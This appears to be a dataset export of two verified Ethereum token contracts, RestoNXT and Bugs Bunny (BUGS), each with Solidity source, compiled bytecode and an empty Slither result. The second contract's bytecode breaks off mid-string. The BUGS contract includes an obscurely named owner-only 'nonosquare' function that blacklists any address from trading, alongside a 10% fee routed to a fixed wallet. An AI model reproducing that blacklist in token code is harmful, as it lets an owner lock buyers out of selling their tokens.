address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x45E756BD263aB8BF591F28f6286325E76479926A
/** *Submitted for verification at Etherscan.io on 2021-08-03 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; // Part: IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: IERC20Metadata /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Part: ERC20 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(msg.sender, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: RestoNXT.sol contract RestoNXT is ERC20 { uint256 constant public MAX_SUPPLY = 100_000_000e18; constructor(address initialKeeper) ERC20("Resto Token", "RESTO") { //Initial supply mint - review before PROD _mint(initialKeeper, MAX_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80633950935111610071578063395093511461014057806370a082311461015357806395d89b411461017c578063a457c2d714610184578063a9059cbb14610197578063dd62ed3e146101aa57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f57806332cb6b0c1461012e575b600080fd5b6100c16101e3565b6040516100ce91906107f5565b60405180910390f35b6100ea6100e53660046107cb565b610275565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a36600461078f565b61028b565b604051601281526020016100ce565b6100fe6a52b7d2dcc80cd2e400000081565b6100ea61014e3660046107cb565b61033a565b6100fe61016136600461073a565b6001600160a01b031660009081526020819052604090205490565b6100c1610376565b6100ea6101923660046107cb565b610385565b6100ea6101a53660046107cb565b61041e565b6100fe6101b836600461075c565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f290610870565b80601f016020809104026020016040519081016040528092919081815260200182805461021e90610870565b801561026b5780601f106102405761010080835404028352916020019161026b565b820191906000526020600020905b81548152906001019060200180831161024e57829003601f168201915b5050505050905090565b600061028233848461042b565b50600192915050565b600061029884848461054f565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103225760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61032f853385840361042b565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028291859061037190869061084a565b61042b565b6060600480546101f290610870565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104075760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610319565b610414338585840361042b565b5060019392505050565b600061028233848461054f565b6001600160a01b03831661048d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610319565b6001600160a01b0382166104ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610319565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105b35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610319565b6001600160a01b0382166106155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610319565b6001600160a01b0383166000908152602081905260409020548181101561068d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610319565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906106c490849061084a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161071091815260200190565b60405180910390a350505050565b80356001600160a01b038116811461073557600080fd5b919050565b60006020828403121561074c57600080fd5b6107558261071e565b9392505050565b6000806040838503121561076f57600080fd5b6107788361071e565b91506107866020840161071e565b90509250929050565b6000806000606084860312156107a457600080fd5b6107ad8461071e565b92506107bb6020850161071e565b9150604084013590509250925092565b600080604083850312156107de57600080fd5b6107e78361071e565b946020939093013593505050565b600060208083528351808285015260005b8181101561082257858101830151858201604001528201610806565b81811115610834576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561086b57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061088457607f821691505b602082108114156108a557634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220d5115b335de9453cbec48b46fcaf278a39043688696ba25d049b4558b2b587fa64736f6c63430008060033
{"success": true, "error": null, "results": {}}
1,700
0x4f9233B839E348657711e45F1a0cE278e4749442
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ /** $BUGS National Bugs Bunny Day is celebrated every year on April 30th. It commemorates the date this happy-go-lucky bunny made his first appearance in 1938 Website: https://www.bugsbunnyinu.com/ Telegram: https://t.me/BugsERC20 Twitter: https://twitter.com/BugsErc20 Tax: 10.0% Max Buy : 1.0% (10,000,000) Max Wallet : 2.5% (25,000,000) Total supply: 1,000,000,000 $BUGS */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BUGSBUNNY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Bugs Bunny"; string private constant _symbol = "BUGS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xbA80dEC3B3b28E3c149248669a56bA763EE8FB64); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(10).div(1000); _maxWalletSize = _tTotal.mul(25).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600a81526020017f427567732042756e6e7900000000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4255475